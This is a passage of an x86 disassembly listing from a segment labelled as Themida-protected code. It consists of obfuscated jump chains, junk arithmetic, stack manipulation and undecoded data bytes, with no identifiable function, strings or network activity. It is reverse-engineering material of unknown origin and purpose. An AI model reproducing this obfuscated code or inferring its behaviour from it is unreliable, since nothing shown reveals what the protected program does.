--------------------------------------------------------------------------- db 88h, 0EBh, 59h dd 88DE8852h, 24148BF5h, 0FF03D8E9h, 0E9D501FFh, 0FFFFE299h dd 10E9CB01h, 8BFFFFFEh, 21E92414h, 5B000004h, 7524BF57h dd 0FE2171C2h, 0D807E95Fh, 5153FFFFh, 4B9h, 0CA895200h dd 18E9D389h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5607C7: ; CODE XREF: Themida_:0055DEF7j mov [esp], ecx jmp loc_5639B3 ; --------------------------------------------------------------------------- loc_5607CF: ; CODE XREF: Themida_:0055CAE6j xor [esp], edi jmp loc_5506FF ; --------------------------------------------------------------------------- db 5Eh dd 563B951h, 0E9815439h, 0B56A527h, 49FFC183h, 0E5ADE952h dd 63BAFFFFh, 2D14AA40h, 50264E07h, 0FFE9D001h, 8BFFFF50h dd 69E92424h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560807: ; CODE XREF: Themida_:005640D4j pop ebx jmp loc_5605A5 ; --------------------------------------------------------------------------- loc_56080D: ; CODE XREF: Themida_:0056077Cj mov ebp, 377F1221h or ebp, 757414F2h push 2B94h mov [esp], edi mov edi, 3EDB2C9Dh jmp loc_559D82 ; --------------------------------------------------------------------------- dw 0C72Ch dd 0FF4AAAE9h, 4C581FFh, 87000000h, 555C242Ch, 7A0E58BDh dd 83534553h, 48904ECh, 33C26824h, 0E95853F9h, 0FFFF2437h dd 48BC101h, 4C48124h, 29000000h, 64BA52F1h, 29389401h dd 0E95E5AD1h, 0FFFFD276h, 243C8B54h, 4C481h, 93680000h dd 8900007Fh, 0BB532414h, 61483495h, 3FEAE9h db 0 ; --------------------------------------------------------------------------- loc_56088D: ; CODE XREF: Themida_:0055AFABj mov [esp], edi push esp pop edi push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_552412 ; --------------------------------------------------------------------------- db 51h dd 0FF708BE9h, 4C181FFh, 68000000h, 3A8Fh, 81242C89h, 4ECh dd 0E083E900h, 3489FFFFh, 79F8BE24h, 0EEE92B03h, 4FFFF53h dd 515A6665h, 0A6E969B1h, 50FFFFD3h, 9C63C1B8h, 8E21BA5Eh dd 0C28187B7h, 1ED57BACh, 0FDE9C229h, 81FFFFDFh, 4C4h dd 0FEF8100h, 2D23568Dh, 5AD01B53h, 5305F829h, 8B5AD01Bh dd 0C481243Ch, 4, 0FFE82BE9h, 241489FFh, 0EA8055B2h, 0E6C28030h dd 2EE9D388h, 1FFFF99h, 3C875BDFh, 0BF575C24h, 594E7051h dd 34FFFB29h, 2434FF24h, 0E689565Fh, 4C681h, 0C6830000h dd 24348704h, 979FE95Ch, 6852FFFFh, 14BDh, 83242489h, 0E9042404h dd 0FFFFCC33h, 0CE28C4B6h, 0FFFD6FE9h db 0FFh ; --------------------------------------------------------------------------- loc_560975: ; CODE XREF: Themida_:0055683Aj push eax mov eax, 5D9A216Fh neg eax add eax, 117F1363h and eax, 7AA133BEh and eax, 2C819B2h xor eax, 18167EE3h mov ebp, eax jmp loc_559769 ; --------------------------------------------------------------------------- dd 9B32F4BBh, 5BDF315Eh, 89FA8952h, 295F5AD6h, 2434FFF0h dd 8324348Bh, 895104C4h, 4C181E1h, 81000000h, 4C1h, 240C8700h dd 74FF505Ch, 48B0424h, 4C48124h, 8F000000h, 248B2404h dd 34896624h, 0B2BE6624h, 0F03166D2h, 24348B66h, 0E902C483h dd 0FFFF2321h, 57243C8Bh, 0C781E789h, 4, 8704C783h, 66E9243Ch dd 33FFFF52h, 0F9E92404h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560A0F: ; CODE XREF: Themida_:0055EF19j mov ch, bh mov dh, ch jmp loc_557CC7 ; --------------------------------------------------------------------------- dd 16506852h, 815A39BCh, 0E4CBF5EAh, 5AD68925h, 0FF1824E9h dd 0CE0158FFh, 6C4E6859h, 3C890000h, 0EE95324h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560A3F: ; CODE XREF: Themida_:0055F34Ej mov esp, [esp] push ebx jmp loc_55ECC3 ; --------------------------------------------------------------------------- dd 4B8h, 0EDEF8100h, 1419E05h, 0EDC781C7h, 0FF419E05h dd 48B2434h, 7D6BE924h, 2568FFFFh, 89000074h, 0D5B02404h dd 0C508A32Ch, 0BEF58058h, 30E3F580h, 89E959EBh, 0B7FFFFDDh dd 0AFBBE9CCh, 0E95BFFFFh, 0FFFFDCA9h, 0A0096435h, 83EE8102h dd 553E582Bh, 8E1132BDh, 0EDEEE975h, 0E128FFFFh, 0E48E9h dd 0E0895000h, 405h, 40500h, 4870000h, 425EE924h, 5C01FFFFh dd 0FF5B0424h, 815D2434h, 4ECh, 241C8900h, 0FF6EB1E9h db 0FFh ; --------------------------------------------------------------------------- loc_560AD9: ; CODE XREF: Themida_:0056445Cj pop ecx jmp loc_557924 ; --------------------------------------------------------------------------- db 0BBh dd 467F27EEh, 3A68F381h, 81433DE3h, 750F09E3h, 1C38375h dd 15BBCB81h, 0FEE92DA9h, 5100002Dh, 0EC5D56B9h, 6E9C10Dh dd 0F372F181h, 0CE21664Bh, 0E9240C8Bh, 0FFFFEBCCh, 0E908E8C1h dd 0FFFF8B47h, 582434FFh, 6804C483h, 7398h, 56243C89h dd 4B7D68h, 73EBE900h, 0EC83FFFFh, 240C8904h, 3BF8B850h dd 14252FD3h, 253D604Bh, 0A6976A7h, 502E0C1h, 4DA548A5h dd 89C68956h, 24348BF1h, 4C481h, 0F7580000h, 33C181D9h dd 8111CE7Fh, 292E8CF1h, 0E9CA01A3h, 0FFFFA276h, 35E9C729h dd 54FFFF9Bh, 0FF8859E9h, 24048BFFh, 4BAE9h, 4C48100h dd 2C000000h, 0EC2C04h, 4EC04D8h, 835B6604h, 348904ECh dd 6E0C6824h, 24890000h, 2281E924h, 1489FFFFh, 356E924h dd 21040000h, 0E92434FFh, 0B3Dh, 4C483h, 505866E1h, 0FEF89AE9h dd 73C381FFh, 5237965Dh, 0FF1A3DE9h, 4C483FFh, 4608F781h dd 0EC81561Bh, 4, 5D243C89h, 0C2B8505Fh, 0C15E0814h, 0E0D107E8h dd 0A31FB935h, 0EE142D26h, 0C531F73Ch, 8124048Bh, 4C4h dd 0FFE82100h, 835D2434h, 3C8904ECh, 0E9E78924h, 0FFFF573Ah ; --------------------------------------------------------------------------- loc_560C28: ; CODE XREF: Themida_:00550A03j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp sub edx, 7FEFFF6Bh jmp loc_55BD81 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 8304C483h, 0C5FE04C4h, 0E907E5C0h, 0FFFF734Fh, 4C681h dd 0C6810000h, 4, 5C243487h, 0FFF72BE9h, 89565AFFh, 2FAEE9E6h dd 0D8680000h, 89000028h, 4812424h, 424h, 0B8505D00h, 16E53B60h dd 507E8C1h, 241F2E74h, 0AA59A225h, 2DE8D138h, 1, 42C4C2Dh dd 58C50110h, 6804C583h, 40D5h, 0FFF339E9h, 0E95259FFh dd 0FFFFBE5Ch, 35E9EB29h, 81FFFF34h, 0E21780C3h, 81CB293Eh dd 0E21780EBh, 0E68593Eh, 89000033h, 0EC83241Ch, 24048904h dd 18D6E9h, 2474FF00h, 48F5904h, 0FC685C24h, 89000024h dd 4BE2434h, 0E9000000h, 0FFFF205Dh ; --------------------------------------------------------------------------- loc_560CF8: ; CODE XREF: Themida_:00559C84j sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] push edi mov edi, esp add edi, 4 push ecx mov ecx, 4 add edi, ecx jmp loc_555D26 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 83000000h, 348704EEh, 34895C24h, 53E68924h, 4BB5352h dd 89000000h, 0D3895BDAh, 0B4C6815Ah, 8133A125h, 7058FDEEh dd 81DE0159h, 7058FDC6h, 0B4EE8159h, 0FF33A125h, 815B2434h dd 4C4h, 0B578E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D6A: ; CODE XREF: Themida_:00554670j shr edx, 1 cmp eax, edx jz loc_56437B sub esp, 4 jmp loc_5658DC ; --------------------------------------------------------------------------- dd 104C483h, 0EC815AD1h, 4, 0E9240C89h, 0FFFFA138h ; --------------------------------------------------------------------------- loc_560D90: ; CODE XREF: Themida_:00561E0Fj pop ecx push ebx mov ebx, esp jmp loc_56491D ; --------------------------------------------------------------------------- db 5, 55h, 0EAh dd 0C2014527h, 0FFC139E9h, 2AA7BEFFh, 10E97C30h, 5FFFFF5Bh dd 31240433h, 41E92404h, 4B00001Eh, 0FFE0B5E9h, 4EC83FFh dd 68242C89h, 28F3h, 68243C89h, 668557E0h, 8B2434FFh, 8953243Ch dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 0FFA529E9h, 0B65266FFh dd 14E7E92Bh, 0C2810000h, 0DCF05587h, 148BD689h, 4C48324h dd 58D4E981h, 0F10125CEh, 58D4C181h, 525E25CEh, 4BF57h dd 0A1680000h, 89000031h, 3481243Ch, 0B33A7B24h, 0F2815A14h dd 14B33A7Bh, 3467E9h db 0 ; --------------------------------------------------------------------------- loc_560E39: ; CODE XREF: Themida_:00564128j add ebp, 0B1FB0BA2h and ebp, 2BE97C06h push 58D6h mov [esp], edi sub esp, 4 mov [esp], eax mov eax, 43A86EADh mov edi, 354B20A4h xor edi, eax pop eax xor edi, 34743FB7h and ebp, edi jmp loc_562186 ; --------------------------------------------------------------------------- dd 227FE4BBh, 12C3812Ch, 53E7049Ah, 0E9595B51h, 0FFFFA1A0h dd 0B53C381h, 77E91FF3h, 81000003h, 4C4h, 40500h, 4330000h dd 24043124h, 5C240433h, 0DD6BE957h, 5457FFFFh, 368EE95Fh dd 0B9510000h, 0A21AD6h, 2D59C801h, 2EC333A1h, 0BF57D001h dd 34F305A3h, 0E64E781h, 0C7813904h, 0E2372217h, 0FF6137E9h db 0FFh ; --------------------------------------------------------------------------- loc_560ED9: ; CODE XREF: Themida_:0055C532j add ecx, 4 add ecx, 4 jmp loc_558DF4 ; --------------------------------------------------------------------------- loc_560EE7: ; CODE XREF: Themida_:00563575j and ecx, 4AB23CAFh push esi mov esi, 245B0875h add ecx, esi pop esi push ecx dec dword ptr [esp] not dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 push edi mov edi, 4 sub edx, edi jmp loc_55F80B ; --------------------------------------------------------------------------- dd 58E9E289h, 8BFFFF94h, 0E368243Ch, 89000062h, 0EC81242Ch dd 4, 50242489h, 4B8h, 24448100h, 96404904h, 74E9512Bh dd 66FFFF43h, 66240C89h, 66C8B60Fh, 0CDE99C51h, 0ADFFFEF4h dd 207F83h, 0BFB840Fh, 0EE810000h, 8881EA3h, 1A6AC681h dd 0C681381Ah, 5F724417h, 3CC0C681h, 0BA5204D7h, 58BB15ACh dd 15AD601h, 95CFE9C6h, 6866FFFFh, 89661245h, 8DE92404h dd 0BAFFFEF4h, 9C25A5BFh, 0FF989BE9h, 65E949FFh, 68000027h dd 108Ch, 68241C89h, 4, 0D4C5815Bh, 10DE520h, 0B2F5E9DDh dd 3489FFFFh, 0CB57E924h, 0EE81FFFFh, 3E222AF5h, 315EF331h dd 0D0295BDAh, 8324148Bh, 0C60504C4h, 2973AA1Fh, 1FC62DD0h dd 7FE973AAh, 500002Fh, 4, 42Dh, 24048700h, 2434895Ch dd 6B3510BEh, 5EF58904h, 0FFB28BE9h, 0EC835AFFh, 242C8904h dd 0FF8B8CE9h, 0CFE181FFh, 0C1318A49h, 0DFE902E9h, 54FFFF88h dd 81242C8Bh, 4C4h, 4C58100h, 68000000h, 55A4h, 0BA241489h dd 4, 33DEED81h, 46E979A3h, 81FFFFF7h, 4C4h, 66B25200h dd 8C0EA80h, 24148BD7h, 4C481h, 74E90000h, 0BFFFFF40h dd 0FFFFFFFFh, 34FFFD01h, 243C8B24h, 0E904C483h, 0FFFFF208h ; --------------------------------------------------------------------------- loc_56107C: ; CODE XREF: Themida_:0055E3F2j mov edi, 674D5DEAh shr edi, 2 sub edi, 19D35776h sub esi, edi jmp loc_565C0D ; --------------------------------------------------------------------------- db 0Dh, 16h, 25h dd 0E8C13295h, 0C74AE905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56109E: ; CODE XREF: Themida_:0055A292j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_5600CA ; --------------------------------------------------------------------------- db 81h dd 4EEh, 3212E900h, 2C330000h, 242C3124h, 5C242C33h, 4246C81h dd 36541276h, 4246C01h, 12A3E9h db 0 ; --------------------------------------------------------------------------- loc_5610D9: ; CODE XREF: Themida_:0055C806j push 7894h mov [esp], ecx mov ecx, 4 mov ebx, ecx jmp loc_562B2E ; --------------------------------------------------------------------------- loc_5610ED: ; CODE XREF: Themida_:00552389j and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or eax, eax jnz loc_55469E sub esp, 4 mov [esp], eax push esi push ebx jmp loc_5532BA ; --------------------------------------------------------------------------- dw 2C8Bh dd 0C4BE924h, 89530000h, 4C381E3h, 83000000h, 1C8704EBh dd 0CF52E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56112A: ; CODE XREF: Themida_:00557058j push esi mov esi, 7C040EDFh sub esi, 7C040EDBh add ebp, esi jmp loc_55D29D ; --------------------------------------------------------------------------- loc_56113D: ; CODE XREF: Themida_:00553219j pop edi xchg eax, [esp] pop esp and edx, 6A292552h neg edx sub edx, 9FFEFBAAh jmp loc_5579CE ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0F3685B54h, 8900003Bh, 0E952243Ch, 0FFFF2337h, 2B71BF57h dd 0FA092E5Fh, 0FF92D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_561175: ; CODE XREF: Themida_:005561FDj mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov edx, [esp] add esp, 4 push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55B200 ; --------------------------------------------------------------------------- loc_5611A2: ; CODE XREF: Themida_:00557E81j pop ecx xor edi, eax xor eax, edi xor edi, eax xor [esp], edi xor edi, [esp] xor [esp], edi push dword ptr [esp] pop eax push edi push esp push dword ptr [esp] jmp loc_5595EA ; --------------------------------------------------------------------------- dd 1E62BB53h, 44817CBEh, 2E10424h, 5C290365h, 6C810424h dd 2E10424h, 33E90365h, 0FFFF60h, 0CEB551D8h, 0E9D7CD80h dd 0FFFFB159h, 0F58E328h, 48FC0B6h, 0F226E987h, 8BBAFFFEh dd 2932D047h, 7BAE9D1h, 0E943FFFFh, 0FFFF5F95h, 3DA568h dd 240C8900h, 7B68E189h, 89000030h, 80E92414h, 0FFFFFFEDh dd 0E99C2404h, 0FFFEF1F4h, 283BEB80h, 3BC380EBh, 0C3805966h dd 80C32868h, 506668EBh, 3C82E9h, 211BE00h, 0E956613Ch dd 1D9Dh, 0CA81F287h, 50AE241Fh, 1B850h, 0C2290000h, 8DF28158h dd 0E98611ADh, 0FFFF1B0Ah, 68D831ADh, 701Eh, 2808E9h, 4E3C100h dd 7A9CB81h, 0C3811C8Ch, 3CC70BB9h, 9DE9DE31h, 89FFFF40h dd 0E8C159C8h, 24054802h, 81EBA73Ch, 0FD0CBFEEh, 4EC8170h dd 89000000h, 7BBA2414h, 12D4829h, 0C6015AD6h, 463668h dd 241C8900h, 0A60595BBh, 2CF3810Ch, 0E9198908h, 0FFFFC011h ; --------------------------------------------------------------------------- loc_5612CC: ; CODE XREF: Themida_:0055CB42j push esi mov esi, esp jmp loc_55664C ; --------------------------------------------------------------------------- dd 1973E981h, 0F1017079h, 1973C181h, 835E7079h, 0C3304C1h dd 240C3124h, 0E9240C33h, 0FFFFF132h, 96A2ED81h, 0EF29140Ah dd 24048B5Dh, 4C481h, 0F9290000h, 81243C8Bh, 4C4h, 2434FF00h dd 81242C8Bh, 4C4h, 0E3895300h, 0FFDE12E9h db 0FFh ; --------------------------------------------------------------------------- loc_561325: ; CODE XREF: Themida_:00557E45j xor ecx, edi pop edi or edx, ecx pop ecx jmp loc_558267 ; --------------------------------------------------------------------------- dd 158C501h, 0F5ED81D5h, 0FF091133h, 34FF2434h, 0A46E924h dd 0EF88FFFFh, 24048B59h, 6604C483h, 65ECE952h, 535AFFFFh dd 0B32469BBh, 0EBE38152h, 8157DA3Ch, 495731EBh, 7DEB8120h dd 0E96D6D7Eh, 0A56h ; --------------------------------------------------------------------------- loc_561374: ; CODE XREF: Themida_:0055E844j mov ebx, 66786B6Dh xor [esp+4], ebx mov ebx, [esp] add esp, 4 mov eax, [esp] add esp, 4 xor eax, 66786B6Dh mov edx, [esp] add esp, 4 push edx sub esp, 4 jmp loc_5531C1 ; --------------------------------------------------------------------------- db 0FFh dd 59042474h, 8B24048Fh, 0C2092424h, 6268E2D1h, 8900000Eh dd 0EC83241Ch, 240C8904h, 1D6E9h, 4EC8100h, 89000000h dd 4812424h, 424h, 24048F00h, 4240481h, 8B000000h, 1FE92404h dd 54FFFFC6h, 8124048Fh, 42404h, 34FF0000h, 6DE1E924h dd 2489FFFFh, 24048124h, 4, 0FF0848E9h db 0FFh ; --------------------------------------------------------------------------- loc_561409: ; CODE XREF: Themida_:0055C59Cj pop esp mov [esp], ecx mov ecx, esp push edi push 63B35B8Eh pop edi push esi push edx push 4E91755Bh pop edx add edx, 0F2FCD075h mov esi, edx pop edx sub edi, esi pop esi or edi, 157E6A25h jmp loc_5522A2 ; --------------------------------------------------------------------------- db 83h, 0EEh, 4 dd 5C243487h, 81240489h, 4ECh, 24248900h, 4240483h, 4BB5358h dd 1000000h, 241C8BD8h, 0FFFA32E9h, 0B8685DFFh, 89000044h dd 0B850241Ch, 395A11D8h, 617B6850h, 0BB5854C7h, 0D07E87CEh dd 0FFE760E9h, 48B66FFh, 0E8AEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561486: ; CODE XREF: Themida_:0056180Dj add ebx, 4 jmp loc_554956 ; --------------------------------------------------------------------------- db 89h, 0EAh, 0E9h dd 0FFFFAA37h, 30E0BE56h, 0D6F77753h, 0E903E6C1h, 2F46h dd 6EDC05Ah, 0ED80CDFEh, 5D545501h, 4C581h, 0BB530000h dd 62521CD2h, 0FF0CC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5614C5: ; CODE XREF: Themida_:00555375j shr ebx, 3 jmp loc_556975 ; --------------------------------------------------------------------------- db 81h, 0C1h, 83h dd 0E94DC672h, 0FFFF3656h, 0E9241431h, 0FFFF8F98h, 5C240C87h dd 83240C89h, 8F5404ECh, 0EC812404h, 4, 56240C89h, 665A5CBEh dd 5A58B953h, 0F1315366h, 8124348Bh, 4C4h, 246C8100h, 0F17E4904h dd 244C0142h, 24448104h, 0F17E4904h, 0C5AEE942h, 1C33FFFFh dd 24248B24h, 0C8B60F66h, 220168h, 240C8900h, 73C768h dd 48F5400h, 24048324h, 0C1815904h, 4, 8102E983h, 4ECh dd 240C8900h, 42474FFh, 592434FFh, 9E668h, 24148900h, 0C281E289h dd 4, 0B9515351h, 733524Eh, 0C8BCB89h, 4C48124h, 0B9000000h dd 0F8CCADB6h, 7CD4C181h, 0E9811931h, 1E405A77h, 0FFE9D901h dd 53000037h, 192089BBh, 0FE99B900h, 0EC813445h, 4, 55243489h dd 5D4798BDh, 673DBE6Eh, 90E98986h, 81FFFF5Bh, 3D7FF2EEh dd 972E923h, 0C7810000h, 2ADF116Dh, 0E9FA895Bh, 0FFFF98D2h ; --------------------------------------------------------------------------- loc_5615D8: ; CODE XREF: Themida_:005618A0j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_562A36 ; --------------------------------------------------------------------------- db 5Bh dd 0FEEED7E9h, 4EDC1FFh, 8108EDC1h, 0AA6C21C5h, 5DEE316Fh dd 0AC7A5705h, 4124E946h, 0C1810000h, 4, 5C240C87h, 0F828D02Ch dd 0FFEFEAE9h, 59ED80FFh, 0E93FF580h, 0FFFFF159h, 148BD001h dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 2404875Ch dd 2824248Bh, 0E99C2404h, 0FFFEEDD4h, 0C781E789h, 4, 3304C783h dd 3C31243Ch, 243C3324h, 24048F5Ch, 0C31D1F7h, 240C3324h dd 8B240C31h, 0A7682404h, 89000060h, 0E389241Ch, 59BF5750h dd 0B8541537h, 5415375Dh, 2056CD05h, 2DF8292Bh, 2B2056CDh dd 83243C8Bh, 0C38104C4h, 0D371B17h, 0FF7D05E9h db 0FFh ; --------------------------------------------------------------------------- loc_5616A5: ; CODE XREF: Themida_:00557182j add esi, ebp pop ebp push esi add dword ptr [esp], 2330947h pop eax sub eax, 2330947h pop esi mov edx, 6FEA557Bh add edx, 69203044h add edx, 18A83FF1h jmp loc_55A8B8 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5A04h, 24248B24h, 83243489h, 17E904ECh, 89FFFFFDh dd 0CDE9240Ch, 89FFFF3Dh, 48B2414h, 0E0895024h, 5A2E9h dd 0E9815900h, 0FDBA11FFh, 0FF554FE9h, 89525AFFh, 4C281E2h dd 56000000h, 0FEF9F9E9h, 0E9D029FFh, 0FFFFE054h db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_55401F ; --------------------------------------------------------------------------- loc_561736: ; CODE XREF: Themida_:005513ECj push ebx jmp loc_550569 ; --------------------------------------------------------------------------- loc_56173C: ; CODE XREF: Themida_:0055C8ADj add dword ptr [esp+4], 1C604127h mov edi, [esp] add esp, 4 mov eax, [esp] jmp loc_55C000 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0F7000000h, 37C3E9D1h, 4242FFFFh, 0F281DAF7h, 0DB07B13h dd 0FFDC32E9h, 240C8BFFh, 5004C483h, 88D18851h, 885359C8h dd 0E9F988C7h, 0FFFEEE5Fh, 0C281E289h, 4, 9EE95057h, 81FFFFC9h dd 4C4h, 2C18100h, 33000000h, 0C31240Ch, 1B58E924h, 7968FFFFh dd 0E900002Ah, 0FFFF9722h, 0F02807B6h, 88535A66h, 88D7F6C7h dd 241C8BF8h, 4C481h, 282C0000h, 8084EB80h, 0CBE995EBh dd 33000040h, 1C31241Ch, 0FD40E924h, 5B54FFFFh, 4C381h dd 0EB810000h, 4, 5C241C87h, 0E9242C89h, 0FFFF4E70h ; --------------------------------------------------------------------------- loc_561800: ; CODE XREF: Themida_:0055E2EBj or edi, 712A187Dh jmp loc_558146 ; --------------------------------------------------------------------------- loc_56180B: ; CODE XREF: Themida_:00564789j mov ebx, esp jmp loc_561486 ; --------------------------------------------------------------------------- loc_561812: ; CODE XREF: Themida_:00562D16j xchg ebx, [esp] pop esp mov [esp], ecx push ebp push 55B66F9Fh pop ebp xor ebp, 621750EFh neg ebp jmp loc_55DB9F ; --------------------------------------------------------------------------- db 5Ch, 0C1h, 0E5h dd 6EDC104h, 0FCCCD81h, 6D6819F1h, 8900005Eh, 0F8BA2414h dd 216CED6Fh, 4E95AD5h db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56184F: ; CODE XREF: Themida_:005526CDj pop ebp sub ebx, 4E7E18C0h jmp loc_5573B5 ; --------------------------------------------------------------------------- loc_56185B: ; CODE XREF: Themida_:0055CD2Cj add bl, 0F5h push eax mov ah, 0FDh dec ah xor ah, 0DFh add bl, ah mov eax, [esp] add esp, 4 add bl, al push ecx push eax jmp loc_552EA0 ; --------------------------------------------------------------------------- db 59h dd 922DE801h, 8B59991Bh, 0C481242Ch, 4, 5BBBBD55h, 0E8296BDEh dd 0D417E95Dh, 8B66FFFFh, 93E92404h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56189F: ; CODE XREF: Themida_:005514E7j push ecx jmp loc_5615D8 ; --------------------------------------------------------------------------- db 0BEh, 0F6h, 35h dd 31E945E5h, 5C00001Ch, 0FF7E5FE9h, 14F751FFh, 240C8B24h dd 8104C483h, 6FF85AE9h, 0CEC38190h, 5668450Ah, 491F90BEh dd 9701E939h, 8B66FFFFh, 0BAE92404h, 5300003Fh, 0FFF1FAE9h dd 5EF129FFh, 0C181D901h, 1A5847B2h, 0FF57ACE9h, 805866FFh dd 0D72CEAF1h, 0D704C828h, 0FEEFCCE9h, 0EFC147FFh, 81DFF707h dd 531FC7h, 0E9FA0100h, 0FFFF2EC3h ; --------------------------------------------------------------------------- loc_561918: ; CODE XREF: Themida_:00555752j push ebx jmp loc_5547CF ; --------------------------------------------------------------------------- dw 0E95Dh dd 0FFFF0293h ; --------------------------------------------------------------------------- loc_561924: ; CODE XREF: Themida_:0055B315j add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] jmp loc_5577B5 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFEEADCh, 6804C483h, 2D45h, 0FF4C40E9h, 24248BFFh dd 0FF51E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_561959: ; CODE XREF: Themida_:00552C0Fj shr ebp, 4 add ebp, 340124E4h inc ebp push eax mov eax, 341AF206h xor ebp, eax pop eax add esi, ebp pop ebp xchg esi, [esp] pop esp sub edx, 132E5E69h add edx, edi add edx, 132E5E69h push dword ptr [edx] jmp loc_55E843 ; --------------------------------------------------------------------------- dd 468EE681h, 0E68166C2h, 5FF518CDh, 8105E6C1h, 763B69F6h dd 7BB95142h, 6877750Bh, 0 dd 59240C29h, 0FF1A5CE9h, 242C87FFh, 2D52685Ch, 14890000h dd 0E9E28924h, 12F5h, 4ED4E181h, 0E98137C8h, 6084240h dd 32E9CF01h, 0BBFFFEFEh, 4, 575BDD01h, 0C781E789h, 4 dd 4EF81h, 0D5E90000h, 66FFFF7Ah, 55240C8Bh, 0FF766AE9h dd 0ED2D5DFFh, 11F9867h, 67ED05D8h, 875B1F98h, 665C2404h dd 5024148Bh, 0EC83E089h, 0F855E904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_561A1E: ; CODE XREF: Themida_:00564177j jz loc_55266F push dword ptr [edi+1Ch] jmp loc_564459 ; --------------------------------------------------------------------------- dd 29BD5553h, 0F70AD94Dh, 14B850DDh, 177CE62h, 0EB8958C5h dd 0FCCB815Dh, 0E9486223h, 0FFFFCFCDh, 0E95DE889h, 0FFFF6318h dd 92F68h, 24148900h, 7907E956h, 0EF87FFFFh, 764F781h dd 0FB29F73Ah, 5BDD015Fh, 1586E9h, 0E9E08900h, 0FFFEF673h dd 6CE9C329h, 2DFFFF04h, 221762AAh, 0DBBE5651h, 897DA81Bh dd 0C8015EF1h, 243C8B59h, 0E904C483h, 0FFFF85F7h, 505FFD01h dd 6D7E66B8h, 24B6257Ch, 0DE0523CCh, 0E9DFB3DBh, 0FFFEF093h ; --------------------------------------------------------------------------- loc_561AB8: ; CODE XREF: Themida_:0055A98Ej add esp, 4 push dword ptr [edi+eax*4] push edi mov edi, esp push ebp mov ebp, 715B7ACFh dec ebp sub ebp, 4D840591h not ebp jmp loc_563203 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0A4h dd 0F728C615h, 5E2C1DAh, 0FF5035E9h db 0FFh ; --------------------------------------------------------------------------- loc_561AE5: ; CODE XREF: Themida_:0055FDCFj push dword ptr [esp] pop eax jmp loc_56457A ; --------------------------------------------------------------------------- dw 0F189h dd 150EE95Eh, 34FF0000h, 240C8B24h, 4C481h, 7D680000h dd 8900001Bh, 8B54243Ch, 0C483243Ch, 0A023E904h, 0C15EFFFFh dd 0EED107EEh, 0DF5BE946h, 7368FFFFh, 0E9000003h, 0FFFFE5F5h dd 3855F8BFh, 0C12E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561B36: ; CODE XREF: Themida_:0055A258j push esp pop eax add eax, 4 jmp loc_5589FD ; --------------------------------------------------------------------------- loc_561B42: ; CODE XREF: Themida_:005638BAj xor ebp, 0C37649h mov ebx, ebp jmp loc_55160E ; --------------------------------------------------------------------------- db 52h dd 2BBE950h, 248BFFFFh, 4EC8324h, 0E9240C89h, 0FFFF1F92h dd 2C681h, 89520000h, 66B951E2h, 0C1410277h, 0F18107E1h dd 813BB304h, 34FFCA01h, 3DA8E924h, 0DE290000h, 1B2AC681h dd 0C6815C9Eh, 143D37ADh, 0E92434FFh, 0FFFEF980h, 4245C01h dd 4244481h, 371A77CCh, 52241C8Bh, 0C281E289h, 4, 8704C283h dd 0FF5C2414h, 81582434h, 4C4h, 0E6BA5200h, 0E9640162h dd 0FFFF709Ah, 0BE243489h, 36745064h, 0E681DEF7h, 4EBD4784h dd 66E9F681h, 0C6832CB4h, 2FF681FFh, 0E93A9B0Dh, 0FFFFA20Dh dd 240C8B66h, 4EC81h, 34890000h, 0E95E5424h, 37C3h, 33240431h dd 85E92404h, 83FFFFE9h, 1C8704C3h, 0AA685C24h, 89000032h dd 4BA2414h, 51000000h, 0B74BF0B9h, 59CD0172h, 0ED81D501h dd 72B74BF0h, 0C4E9535Ah, 66FFFFBCh, 6658B168h, 0BA66525Bh dd 81664171h, 66048FEAh, 1899C281h, 5AE28166h, 0EAC1666Dh dd 0EA816606h, 98E99B81h, 5BFFFF06h, 0A76630BFh, 5DEF314Dh dd 4287F781h, 48E9440Dh, 3300000Dh, 3C31243Ch, 243C3324h dd 1012D5Ch, 0D829165Ah, 5A010105h, 2D4C0516h, 0F5E95827h dd 5FFFFA1h, 4, 405h, 24048700h, 0FF9154E9h, 4BDFFh, 75E90000h dd 89FFFF17h, 0C3815EF5h, 508A2E37h, 0EB81EB29h, 508A2E37h dd 3C78E9h db 0 ; --------------------------------------------------------------------------- loc_561CCD: ; CODE XREF: Themida_:0055814Fj mov edx, esi pop esi push esi mov esi, 5605FBD9h add edx, 